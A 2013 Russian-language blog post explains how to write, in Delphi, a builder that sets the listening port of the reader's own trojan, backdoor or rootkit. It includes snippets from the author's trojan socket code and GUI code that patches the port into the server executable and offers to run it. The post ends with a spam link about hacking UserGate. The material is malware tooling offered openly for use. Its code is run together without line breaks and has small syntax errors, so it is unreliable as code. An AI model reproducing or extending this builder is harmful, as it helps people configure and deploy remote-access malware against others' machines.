---
title: "Конфигуратор на delphi"
description: "И так, после долгих мучений я наконец воткнул как написть конфинуратор на дельфях, за что отдельное ..."
author: "huzrus"
published: "2013-02-03T09:41:18+00:00"
modified: "2013-02-03T09:41:18+00:00"
locale: "ru"
canonical_url: "https://yvision.kz/post/konfigurator-na-delphi-318280"
markdown_url: "https://yvision.kz/post/konfigurator-na-delphi-318280/markdown"
site_name: "Yvision.kz"
---

# Конфигуратор на delphi

> И так, после долгих мучений я наконец воткнул как написть конфинуратор на дельфях, за что отдельное ...

И так, после долгих мучений я наконец воткнул как написть конфинуратор на дельфях, за что отдельное спасибо Xteen’у! Ну ладно меньше слов больше дел! Естественно подразумевается что у вас уже есть свой трой, бек дор или руткит, далее просто R, который мы и будем править с помошью написанного сегодня с вами конфигуратора! Но для начала нам с вами придется немножко подправить ваш R! Начнем!У нас есть код (возьму кусок кода из моего троя):[code]server.sin_family:=AF_INET;server.sin_port:=htons(55555); //здесь мы назначаем, порт который будет слушать наш R//как раз это место мы и будем править//исправляем 55555 на ReadInfoserver.sin_addr.s_addr:=htonl(INADDR_ANY);[/code]После этого в наш код нудно будет добавить одну процу и одна функцию, вот они[code]procedure LoadServer(Fname:string;var FullContents:string);//загрузка в память сервера varFcontents:File of Char;Fbuffer:array [1..1024] of Char;rLen,Fsize:LongInt;beginFullContents:='';{$I-}AssignFile(Fcontents,Fname);Reset(Fcontents);Fsize:=FileSize(Fcontents);while not Eof(Fcontents) do beginBlockRead(Fcontents,Fbuffer,1024,rLen);FullContents:=FullContents + string(Fbuffer);end;CloseFile(Fcontents);{$I+}if Length(FullContents) > Fsize thenFullContents:=Copy(FullContents,1,Fsize);end;Function ReadInfo: Integer;//функция нахождения и правки портаvarfcontent, apnd : string;i : integer;begincopyfile( PChar(paramstr(0)) , PChar(paramstr(0)+'_'), false );LoadServer( paramstr(0)+'_' , fcontent );apnd := '';i := length( fcontent );while (i>0) AND (fcontent[i]<>#00) do beginapnd := fcontent[i] + apnd;i := i-1;end;deletefile( PChar(paramstr(0)+'_') );Result := StrToInt(apnd);end;[/code]Ну вот с R мы закончили приступаем к написанию конфигуратора!Здесь я привиду основную часть кода ибо все остальное можно будет дописать по желанию.[code]procedure TForm1.LoadServer(Fname:string;var FullContents:string);varFcontents:File of Char;Fbuffer:array [1..1024] of Char;rLen,Fsize:LongInt;beginFullContents:='';{$I-}AssignFile(Fcontents,Fname);Reset(Fcontents);Fsize:=FileSize(Fcontents);while not Eof(Fcontents) do beginBlockRead(Fcontents,Fbuffer,1024,rLen);FullContents:=FullContents + string(Fbuffer);end;CloseFile(Fcontents);{$I+}if Length(FullContents) > Fsize thenFullContents:=Copy(FullContents,1,Fsize);end;procedure TForm1.OpnnClick(Sender: TObject);VARfcontent, apnd : String;i : integer;beginIF opn.Execute THEN beginEdtFname.Text := opn.FileName;LoadServer(EdtFname.Text,fcontent);i := length(fcontent);apnd := '';WHILE (i > 0) AND (fcontent[i] <> #00) DO beginapnd := fcontent[i] + apnd;i := i-1;end;end;end;procedure TForm1.FormCreate(Sender: TObject);beginOpn.InitialDir := ExtractFilePath(application.exename);end;procedure TForm1.SvClick(Sender: TObject);//открываем и правимVARfcontent : string;i : integer;f : textfile;beginIF fileexists( EdtFname.Text ) THENbeginLoadServer( EdtFname.Text, fcontent );i := length(fcontent);while (i>0) AND (fcontent[i]<>#00) DOi := i -1;fcontent := copy(fcontent,1,i);fcontent := fcontent + Prt.Text;AssignFile( f , EdtFname.Text );Rewrite( f );write( f , fcontent );closefile( f );copyfile( 'ZeroDay.exe','ZeroDayNoEdit.exe', false );//тут можно подправить по желаниюIF messagedlg('Сервер сконфигурирован'+#13+#10+новый порт ….'+Prt.Text+#13+#10+'Запустить сервер сейчас?',mtConfirmation,[mbYes,mbNo],0) = mrYes THENshellexecute( 0 , nil , PChar( EdtFname.Text) , nil , nil , 1 );endELSEmessagedlg('Указанный файл не верен!!!',mtError,[mbok],0);end;[/code]Ну вот собстно и все! Знающие люди скажут, что это самый приметивный способ и, что код очень сырой и нуждается в оптимизации и отладке! И я, честно говоря, отвечу, что они правы, но я специально не стал приводить здесь оптимизированный код лишь потому, чтобы вы читая эту статью поднапрягли свои мозги!Всем спасибо за внимание!P.S.Дополнения, просьба писать в эту тему! Если у когото есть какие нить претензии по поводу статьи,тож отписываем в этой теме!P.S.S.Созданный код, берет свое существование от http://opensc.ws/showthread.php?t=618

 
 

[Как взломать usergate](http://itblogs.org/)

---

Source: [https://yvision.kz/post/konfigurator-na-delphi-318280](https://yvision.kz/post/konfigurator-na-delphi-318280)